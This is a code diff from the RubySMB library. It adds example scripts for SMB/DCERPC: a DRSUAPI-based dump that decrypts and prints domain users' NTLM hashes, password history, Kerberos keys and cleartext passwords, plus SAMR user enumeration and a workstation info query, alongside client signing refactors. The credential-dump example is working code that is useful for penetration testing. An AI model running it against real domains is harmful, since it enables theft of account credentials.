time_value = attribute_value.unpack('Q<')[0]
|
|
114
|
+
if time_value > 0
|
|
115
|
+
pwd_last_set = RubySMB::Field::FileTime.new(time_value).to_time.utc
|
|
116
|
+
end
|
|
117
|
+
when lookup_table['accountExpires']
|
|
118
|
+
expires = Time.at(0)
|
|
119
|
+
time_value = attribute_value.unpack('Q<')[0]
|
|
120
|
+
if time_value > 0 && time_value != 0x7FFFFFFFFFFFFFFF
|
|
121
|
+
expires = RubySMB::Field::FileTime.new(time_value).to_time.utc
|
|
122
|
+
end
|
|
123
|
+
when lookup_table['lastLogonTimestamp']
|
|
124
|
+
last_logon = Time.at(0)
|
|
125
|
+
time_value = attribute_value.unpack('Q<')[0]
|
|
126
|
+
if time_value > 0
|
|
127
|
+
last_logon = RubySMB::Field::FileTime.new(time_value).to_time.utc
|
|
128
|
+
end
|
|
129
|
+
when lookup_table['lmPwdHistory']
|
|
130
|
+
tmp_lm_history = client.decrypt_attribute_value(attribute_value)
|
|
131
|
+
tmp_lm_history.bytes.each_slice(16) do |block|
|
|
132
|
+
lm_history << client.remove_des_layer(block.map(&:chr).join, rid)
|
|
133
|
+
end
|
|
134
|
+
when lookup_table['ntPwdHistory']
|
|
135
|
+
tmp_nt_history = client.decrypt_attribute_value(attribute_value)
|
|
136
|
+
tmp_nt_history.bytes.each_slice(16) do |block|
|
|
137
|
+
nt_history << client.remove_des_layer(block.map(&:chr).join, rid)
|
|
138
|
+
end
|
|
139
|
+
when lookup_table['supplementalCredentials']
|
|
140
|
+
# self.__decryptSupplementalInfo
|
|
141
|
+
plain_text = client.decrypt_attribute_value(attribute_value)
|
|
142
|
+
user_properties = RubySMB::Dcerpc::Samr::UserProperties.read(plain_text)
|
|
143
|
+
user_properties.user_properties.each do |user_property|
|
|
144
|
+
case user_property.property_name.encode('utf-8')
|
|
145
|
+
when 'Primary:Kerberos-Newer-Keys'
|
|
146
|
+
value = user_property.property_value
|
|
147
|
+
binary_value = value.chars.each_slice(2).map {|a,b| (a+b).hex.chr}.join
|
|
148
|
+
kerb_stored_credential_new = RubySMB::Dcerpc::Samr::KerbStoredCredentialNew.read(binary_value)
|
|
149
|
+
key_values = kerb_stored_credential_new.get_key_values
|
|
150
|
+
kerb_stored_credential_new.credentials.each_with_index do |credential, i|
|
|
151
|
+
kerberos_type = RubySMB::Dcerpc::Samr::KERBEROS_TYPE[credential.key_type]
|
|
152
|
+
if kerberos_type
|
|
153
|
+
kerberos_keys[kerberos_type] = key_values[i].unpack('H*')[0]
|
|
154
|
+
else
|
|
155
|
+
kerberos_keys["0x#{credential.key_type.to_i.to_s(16)}"] = key_values[i].unpack('H*')[0]
|
|
156
|
+
end
|
|
157
|
+
end
|
|
158
|
+
when 'Primary:CLEARTEXT'
|
|
159
|
+
# [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property
|
|
160
|
+
# This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.
|
|
161
|
+
begin
|
|
162
|
+
clear_text_passwords << user_property.property_value.to_s.force_encoding('utf-16le').encode('utf-8')
|
|
163
|
+
rescue EncodingError
|
|
164
|
+
# This could be because we're decoding a machine password. Printing it hex
|
|
165
|
+
# Keep clear_text_passwords with a ASCII-8BIT encoding
|
|
166
|
+
clear_text_passwords << user_property.property_value.to_s
|
|
167
|
+
end
|
|
168
|
+
end
|
|
169
|
+
end
|
|
170
|
+
end
|
|
171
|
+
end
|
|
172
|
+
|
|
173
|
+
user = "#{domain_name}\\#{user}" unless domain_name.empty?
|
|
174
|
+
|
|
175
|
+
puts "#{user}:#{rid}:#{lm_hash.unpack('H*')[0]}:#{nt_hash.unpack('H*')[0]}:::"
|
|
176
|
+
puts "Object SID: 0x#{object_sid.unpack('H*')[0]}"
|
|
177
|
+
puts "Password last set: #{pwd_last_set && pwd_last_set > Time.at(0) ? pwd_last_set : 'never'}"
|
|
178
|
+
puts "Last logon: #{last_logon && last_logon > Time.at(0) ? last_logon : 'never'}"
|
|
179
|
+
puts "Account disabled: #{disabled.nil? ? 'N/A' : disabled}"
|
|
180
|
+
puts "Computer account: #{computer_account.nil? ? 'N/A' : computer_account}"
|
|
181
|
+
puts "Password never expires: #{password_never_expires.nil? ? 'N/A' : password_never_expires}"
|
|
182
|
+
puts "Password not required: #{password_not_required.nil? ? 'N/A' : password_not_required}"
|
|
183
|
+
puts "Expired: #{!disabled && expires && expires > Time.at(0) && expires < Time.now}"
|
|
184
|
+
if nt_history.size > 1 and lm_history.size > 1
|
|
185
|
+
puts "Password history:"
|
|
186
|
+
nt_history[1..-1].zip(lm_history[1..-1]).each_with_index do |history, i|
|
|
187
|
+
nt_h, lm_h = history
|
|
188
|
+
empty_lm_h = Net::NTLM.lm_hash('')
|
|
189
|
+
puts " #{user}_history#{i}:#{rid}:#{empty_lm_h.unpack('H*')[0]}:#{nt_h.to_s.unpack('H*')[0]}::: (if LMHashes are not stored)"
|
|
190
|
+
puts " #{user}_history#{i}:#{rid}:#{lm_h.to_s.unpack('H*')[0]}:#{nt_h.to_s.unpack('H*')[0]}::: (if LMHashes are stored)"
|
|
191
|
+
end
|
|
192
|
+
end
|
|
193
|
+
puts "Kerberos keys:"
|
|
194
|
+
kerberos_keys.each do |key_type, key_value|
|
|
195
|
+
puts " #{user}:#{key_type}:#{key_value}"
|
|
196
|
+
end
|
|
197
|
+
puts "Clear passwords:"
|
|
198
|
+
clear_text_passwords.each do |passwd|
|
|
199
|
+
puts " #{user}:CLEARTEXT:#{passwd}"
|
|
200
|
+
end
|
|
201
|
+
end
|
|
202
|
+
end
|
|
203
|
+
|
|
204
|
+
client.drs_unbind(ph_drs)
|
|
205
|
+
client.close
|
|
206
|
+
|
|
207
|
+
puts 'Done'
|
|
@@ -0,0 +1,75 @@
|
|
|
1
|
+
#!/usr/bin/ruby
|
|
2
|
+
|
|
3
|
+
# This example script is used for testing DCERPC SAMR requests.
|
|
4
|
+
# It will attempt to connect to a server object and enumerate domain users.
|
|
5
|
+
# Example usage: ruby enum_domain_users.rb 192.168.172.138 msfadmin msfadmin MyDomain
|
|
6
|
+
|
|
7
|
+
require 'bundler/setup'
|
|
8
|
+
require 'ruby_smb'
|
|
9
|
+
|
|
10
|
+
address = ARGV[0]
|
|
11
|
+
username = ARGV[1]
|
|
12
|
+
password = ARGV[2]
|
|
13
|
+
domain = ARGV[3]
|
|
14
|
+
smb_versions = ARGV[4]&.split(',') || ['1','2','3']
|
|
15
|
+
|
|
16
|
+
sock = TCPSocket.new address, 445
|
|
17
|
+
dispatcher = RubySMB::Dispatcher::Socket.new(sock, read_timeout: 60)
|
|
18
|
+
|
|
19
|
+
client = RubySMB::Client.new(dispatcher, smb1: smb_versions.include?('1'), smb2: smb_versions.include?('2'), smb3: smb_versions.include?('3'), username: username, password: password)
|
|
20
|
+
protocol = client.negotiate
|
|
21
|
+
status = client.authenticate
|
|
22
|
+
|
|
23
|
+
puts "#{protocol} : #{status}"
|
|
24
|
+
|
|
25
|
+
tree = client.tree_connect("\\\\#{address}\\IPC$")
|
|
26
|
+
samr = tree.open_file(filename: 'samr', write: true, read: true)
|
|
27
|
+
|
|
28
|
+
puts('Binding to \\samr...')
|
|
29
|
+
samr.bind(endpoint: RubySMB::Dcerpc::Samr)
|
|
30
|
+
puts('Bound to \\samr')
|
|
31
|
+
|
|
32
|
+
puts('[+] SAMR Connect')
|
|
33
|
+
server_handle = samr.samr_connect
|
|
34
|
+
|
|
35
|
+
domain_sid = samr.samr_lookup_domain(server_handle: server_handle, name: domain)
|
|
36
|
+
domain_handle = samr.samr_open_domain(server_handle: server_handle, domain_id: domain_sid)
|
|
37
|
+
|
|
38
|
+
builtin_domain_sid = samr.samr_lookup_domain(server_handle: server_handle, name: 'Builtin')
|
|
39
|
+
builtin_domain_handle = samr.samr_open_domain(server_handle: server_handle, domain_id: builtin_domain_sid)
|
|
40
|
+
|
|
41
|
+
users = samr.samr_enumerate_users_in_domain(domain_handle: domain_handle)
|
|
42
|
+
|
|
43
|
+
puts 'RID | SID | Name | Domain Groups | Domain Alias Groups | Builtin Alias Groups'
|
|
44
|
+
puts '--------------------------------------------------------------------------------------------------------------------------------'
|
|
45
|
+
users.each do |rid, name|
|
|
46
|
+
sid = samr.samr_rid_to_sid(object_handle: domain_handle, rid: rid)
|
|
47
|
+
domain_sid = sid.to_s.split('-')[0..-2].join('-')
|
|
48
|
+
|
|
49
|
+
user_handle = samr.samr_open_user(domain_handle: domain_handle, user_id: rid)
|
|
50
|
+
groups = samr.samr_get_group_for_user(user_handle: user_handle)
|
|
51
|
+
groups = groups.map { |group| RubySMB::Dcerpc::Samr::RpcSid.new("#{domain_sid}-#{group.relative_id.to_i}") }
|
|
52
|
+
|
|
53
|
+
alias_groups = samr.samr_get_alias_membership(domain_handle: domain_handle, sids: groups + [sid])
|
|
54
|
+
alias_groups = alias_groups.map { |group| RubySMB::Dcerpc::Samr::RpcSid.new("#{domain_sid}-#{group}") }
|
|
55
|
+
|
|
56
|
+
builtin_alias_groups = samr.samr_get_alias_membership(domain_handle: builtin_domain_handle, sids: groups + [sid])
|
|
57
|
+
builtin_alias_groups = builtin_alias_groups.map { |group| RubySMB::Dcerpc::Samr::RpcSid.new("#{domain_sid}-#{group}") }
|
|
58
|
+
|
|
59
|
+
#TODO: implement [LSAT] LsarLookupSids2 call to get the name of the "Unknown SID"'s
|
|
60
|
+
|
|
61
|
+
output = "#{"%-5s" % rid} | #{"%-43s" % sid} | #{name.encode('UTF-8')}"
|
|
62
|
+
output << " | #{groups.empty? ? 'N/A' : groups.map(&:name).join(', ')}"
|
|
63
|
+
output << " | #{alias_groups.empty? ? 'N/A' : alias_groups.map(&:name).join(', ')}"
|
|
64
|
+
output << " | #{builtin_alias_groups.empty? ? 'N/A' : builtin_alias_groups.map(&:name).join(', ')}"
|
|
65
|
+
puts output
|
|
66
|
+
|
|
67
|
+
samr.close_handle(user_handle)
|
|
68
|
+
end
|
|
69
|
+
|
|
70
|
+
samr.close_handle(domain_handle)
|
|
71
|
+
samr.close_handle(builtin_domain_handle)
|
|
72
|
+
samr.close_handle(server_handle)
|
|
73
|
+
|
|
74
|
+
client.disconnect!
|
|
75
|
+
|
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
#!/usr/bin/ruby
|
|
2
|
+
|
|
3
|
+
# This example script is used for testing DCERPC WKST requests.
|
|
4
|
+
# It will attempt to retrieve configuration information of a remote computer/server.
|
|
5
|
+
# Example usage: ruby enum_domain_users.rb 192.168.172.138 msfadmin msfadmin MyDomain
|
|
6
|
+
|
|
7
|
+
require 'bundler/setup'
|
|
8
|
+
require 'ruby_smb'
|
|
9
|
+
|
|
10
|
+
address = ARGV[0]
|
|
11
|
+
username = ARGV[1]
|
|
12
|
+
password = ARGV[2]
|
|
13
|
+
smb_versions = ARGV[3]&.split(',') || ['1','2','3']
|
|
14
|
+
|
|
15
|
+
sock = TCPSocket.new address, 445
|
|
16
|
+
dispatcher = RubySMB::Dispatcher::Socket.new(sock, read_timeout: 60)
|
|
17
|
+
|
|
18
|
+
client = RubySMB::Client.new(dispatcher, smb1: smb_versions.include?('1'), smb2: smb_versions.include?('2'), smb3: smb_versions.include?('3'), username: username, password: password)
|
|
19
|
+
protocol = client.negotiate
|
|
20
|
+
status = client.authenticate
|
|
21
|
+
|
|
22
|
+
puts "#{protocol} : #{status}"
|
|
23
|
+
|
|
24
|
+
tree = client.tree_connect("\\\\#{address}\\IPC$")
|
|
25
|
+
wkssvc = tree.open_file(filename: 'wkssvc', write: true, read: true)
|
|
26
|
+
|
|
27
|
+
puts('Binding to \\wkssvc...')
|
|
28
|
+
wkssvc.bind(endpoint: RubySMB::Dcerpc::Wkssvc)
|
|
29
|
+
puts('Bound to \\wkssvc')
|
|
30
|
+
|
|
31
|
+
puts('[+] WKSSVC Connect')
|
|
32
|
+
|
|
33
|
+
info = wkssvc.netr_wksta_get_info
|
|
34
|
+
platform = RubySMB::Dcerpc::Wkssvc::PLATFORM_ID[info.wki100_platform_id]
|
|
35
|
+
puts "Platform: #{platform || 'Unknown'}"
|
|
36
|
+
puts "Computer Name: #{info.wki100_computername.encode('utf-8')}"
|
|
37
|
+
puts "LAN Group: #{info.wki100_langroup.encode('utf-8')}"
|
|
38
|
+
puts "OS Version: #{info.wki100_ver_major}.#{info.wki100_ver_minor}"
|
|
39
|
+
|
|
40
|
+
client.disconnect!
|
|
41
|
+
|
|
42
|
+
|
|
@@ -36,25 +36,63 @@ scm_handle = svcctl.open_sc_manager_w(address)
|
|
|
36
36
|
svc_handle = svcctl.open_service_w(scm_handle, service)
|
|
37
37
|
svc_status = svcctl.query_service_status(svc_handle)
|
|
38
38
|
|
|
39
|
+
puts
|
|
39
40
|
case svc_status.dw_current_state
|
|
40
41
|
when RubySMB::Dcerpc::Svcctl::SERVICE_RUNNING
|
|
41
42
|
puts("Service #{service} is running")
|
|
42
43
|
when RubySMB::Dcerpc::Svcctl::SERVICE_STOPPED
|
|
43
44
|
puts("Service #{service} is in stopped state")
|
|
44
45
|
end
|
|
46
|
+
puts
|
|
45
47
|
|
|
46
48
|
svc_config = svcctl.query_service_config(svc_handle)
|
|
49
|
+
|
|
50
|
+
service_type = 'Service type: '
|
|
51
|
+
case svc_config.dw_service_type
|
|
52
|
+
when RubySMB::Dcerpc::Svcctl::SERVICE_KERNEL_DRIVER
|
|
53
|
+
service_type << 'Driver service'
|
|
54
|
+
when RubySMB::Dcerpc::Svcctl::SERVICE_FILE_SYSTEM_DRIVER
|
|
55
|
+
service_type << 'File system driver service'
|
|
56
|
+
when RubySMB::Dcerpc::Svcctl::SERVICE_WIN32_OWN_PROCESS
|
|
57
|
+
service_type << 'Service that runs in its own process'
|
|
58
|
+
when RubySMB::Dcerpc::Svcctl::SERVICE_WIN32_SHARE_PROCESS
|
|
59
|
+
service_type << 'Service that shares a process with other services'
|
|
60
|
+
end
|
|
61
|
+
|
|
62
|
+
start_type = 'Service start type: '
|
|
47
63
|
case svc_config.dw_start_type
|
|
48
64
|
when RubySMB::Dcerpc::Svcctl::SERVICE_DISABLED
|
|
49
|
-
|
|
65
|
+
start_type << 'Service is disabled'
|
|
50
66
|
when RubySMB::Dcerpc::Svcctl::SERVICE_BOOT_START, RubySMB::Dcerpc::Svcctl::SERVICE_SYSTEM_START
|
|
51
|
-
|
|
67
|
+
start_type << 'Service starts when the system boots up (driver)'
|
|
52
68
|
when RubySMB::Dcerpc::Svcctl::SERVICE_AUTO_START
|
|
53
|
-
|
|
69
|
+
start_type << 'Service starts automatically during system startup'
|
|
54
70
|
when RubySMB::Dcerpc::Svcctl::SERVICE_DEMAND_START
|
|
55
|
-
|
|
71
|
+
start_type << 'Service starts manually'
|
|
56
72
|
end
|
|
57
73
|
|
|
74
|
+
error_control = 'Error control: '
|
|
75
|
+
case svc_config.dw_error_control
|
|
76
|
+
when RubySMB::Dcerpc::Svcctl::SERVICE_ERROR_IGNORE
|
|
77
|
+
error_control << 'SERVICE_ERROR_IGNORE'
|
|
78
|
+
when RubySMB::Dcerpc::Svcctl::SERVICE_ERROR_NORMAL
|
|
79
|
+
error_control << 'SERVICE_ERROR_NORMAL'
|
|
80
|
+
when RubySMB::Dcerpc::Svcctl::SERVICE_ERROR_SEVERE
|
|
81
|
+
error_control << 'SERVICE_ERROR_SEVERE'
|
|
82
|
+
when RubySMB::Dcerpc::Svcctl::SERVICE_ERROR_CRITICAL
|
|
83
|
+
error_control << 'SERVICE_ERROR_CRITICAL'
|
|
84
|
+
end
|
|
85
|
+
|
|
86
|
+
puts service_type
|
|
87
|
+
puts start_type
|
|
88
|
+
puts error_control
|
|
89
|
+
puts "Binary path: #{svc_config.lp_binary_path_name.to_s.encode('utf-8')}"
|
|
90
|
+
puts "Load ordering service group: #{svc_config.lp_load_order_group.to_s.encode('utf-8')}"
|
|
91
|
+
puts "Service group tag ID: #{svc_config.dw_tag_id.to_s.encode('utf-8')}"
|
|
92
|
+
puts "Dependencies: #{svc_config.lp_dependencies.to_s.encode('utf-8')}"
|
|
93
|
+
puts "Service start name: #{svc_config.lp_service_start_name.to_s.encode('utf-8')}"
|
|
94
|
+
|
|
95
|
+
|
|
58
96
|
if svcctl
|
|
59
97
|
svcctl.close_service_handle(svc_handle) if svc_handle
|
|
60
98
|
svcctl.close_service_handle(scm_handle) if scm_handle
|
|
@@ -121,7 +121,7 @@ module RubySMB
|
|
|
121
121
|
'SMB1'
|
|
122
122
|
when RubySMB::SMB2::Packet::NegotiateResponse
|
|
123
123
|
self.smb1 = false
|
|
124
|
-
unless packet.dialect_revision.to_i ==
|
|
124
|
+
unless packet.dialect_revision.to_i == RubySMB::SMB2::SMB2_WILDCARD_REVISION
|
|
125
125
|
self.smb2 = packet.dialect_revision.to_i >= 0x0200 && packet.dialect_revision.to_i < 0x0300
|
|
126
126
|
self.smb3 = packet.dialect_revision.to_i >= 0x0300 && packet.dialect_revision.to_i < 0x0400
|
|
127
127
|
end
|
data/lib/ruby_smb/client.rb
CHANGED
|
@@ -2,18 +2,19 @@ module RubySMB
|
|
|
2
2
|
# Represents an SMB client capable of talking to SMB1 or SMB2 servers and handling
|
|
3
3
|
# all end-user client functionality.
|
|
4
4
|
class Client
|
|
5
|
+
require 'ruby_smb/ntlm'
|
|
6
|
+
require 'ruby_smb/signing'
|
|
5
7
|
require 'ruby_smb/client/negotiation'
|
|
6
8
|
require 'ruby_smb/client/authentication'
|
|
7
|
-
require 'ruby_smb/client/signing'
|
|
8
9
|
require 'ruby_smb/client/tree_connect'
|
|
9
10
|
require 'ruby_smb/client/echo'
|
|
10
11
|
require 'ruby_smb/client/utils'
|
|
11
12
|
require 'ruby_smb/client/winreg'
|
|
12
13
|
require 'ruby_smb/client/encryption'
|
|
13
14
|
|
|
15
|
+
include RubySMB::Signing
|
|
14
16
|
include RubySMB::Client::Negotiation
|
|
15
17
|
include RubySMB::Client::Authentication
|
|
16
|
-
include RubySMB::Client::Signing
|
|
17
18
|
include RubySMB::Client::TreeConnect
|
|
18
19
|
include RubySMB::Client::Echo
|
|
19
20
|
include RubySMB::Client::Utils
|
|
@@ -278,7 +279,7 @@ module RubySMB
|
|
|
278
279
|
# @param smb2 [Boolean] whether or not to enable SMB2 support
|
|
279
280
|
# @param smb3 [Boolean] whether or not to enable SMB3 support
|
|
280
281
|
def initialize(dispatcher, smb1: true, smb2: true, smb3: true, username:, password:, domain: '.',
|
|
281
|
-
local_workstation: 'WORKSTATION', always_encrypt: true, ntlm_flags:
|
|
282
|
+
local_workstation: 'WORKSTATION', always_encrypt: true, ntlm_flags: NTLM::DEFAULT_CLIENT_FLAGS)
|
|
282
283
|
raise ArgumentError, 'No Dispatcher provided' unless dispatcher.is_a? RubySMB::Dispatcher::Base
|
|
283
284
|
if smb1 == false && smb2 == false && smb3 == false
|
|
284
285
|
raise ArgumentError, 'You must enable at least one Protocol'
|
|
@@ -365,7 +366,7 @@ module RubySMB
|
|
|
365
366
|
# the credentials supplied during initialization, but can take a new set of credentials if needed.
|
|
366
367
|
def login(username: self.username, password: self.password,
|
|
367
368
|
domain: self.domain, local_workstation: self.local_workstation,
|
|
368
|
-
ntlm_flags:
|
|
369
|
+
ntlm_flags: NTLM::DEFAULT_CLIENT_FLAGS)
|
|
369
370
|
negotiate
|
|
370
371
|
session_setup(username, password, domain,
|
|
371
372
|
local_workstation: local_workstation,
|
|
@@ -373,7 +374,7 @@ module RubySMB
|
|
|
373
374
|
end
|
|
374
375
|
|
|
375
376
|
def session_setup(user, pass, domain, do_recv=true,
|
|
376
|
-
local_workstation: self.local_workstation, ntlm_flags:
|
|
377
|
+
local_workstation: self.local_workstation, ntlm_flags: NTLM::DEFAULT_CLIENT_FLAGS)
|
|
377
378
|
@domain = domain
|
|
378
379
|
@local_workstation = local_workstation
|
|
379
380
|
@password = pass.encode('utf-8') || ''.encode('utf-8')
|
|
@@ -436,14 +437,14 @@ module RubySMB
|
|
|
436
437
|
when 'SMB1'
|
|
437
438
|
packet.smb_header.uid = self.user_id if self.user_id
|
|
438
439
|
packet.smb_header.pid_low = self.pid if self.pid
|
|
439
|
-
packet = smb1_sign(packet)
|
|
440
|
+
packet = smb1_sign(packet) if signing_required && !session_key.empty?
|
|
440
441
|
when 'SMB2'
|
|
441
442
|
packet = increment_smb_message_id(packet)
|
|
442
443
|
packet.smb2_header.session_id = session_id
|
|
443
|
-
unless packet.is_a?(RubySMB::SMB2::Packet::SessionSetupRequest)
|
|
444
|
-
if self.smb2
|
|
444
|
+
unless packet.is_a?(RubySMB::SMB2::Packet::SessionSetupRequest) || session_key.empty?
|
|
445
|
+
if self.smb2 && signing_required
|
|
445
446
|
packet = smb2_sign(packet)
|
|
446
|
-
elsif self.smb3
|
|
447
|
+
elsif self.smb3 && (signing_required || packet.is_a?(RubySMB::SMB2::Packet::TreeConnectRequest))
|
|
447
448
|
packet = smb3_sign(packet)
|
|
448
449
|
end
|
|
449
450
|
end
|
|
@@ -647,16 +648,5 @@ module RubySMB
|
|
|
647
648
|
)
|
|
648
649
|
end
|
|
649
650
|
|
|
650
|
-
private
|
|
651
|
-
|
|
652
|
-
def default_flags
|
|
653
|
-
negotiate_version_flag = 0x02000000
|
|
654
|
-
flags = Net::NTLM::Client::DEFAULT_FLAGS |
|
|
655
|
-
Net::NTLM::FLAGS[:TARGET_INFO] |
|
|
656
|
-
negotiate_version_flag ^
|
|
657
|
-
Net::NTLM::FLAGS[:OEM]
|
|
658
|
-
|
|
659
|
-
flags
|
|
660
|
-
end
|
|
661
651
|
end
|
|
662
652
|
end
|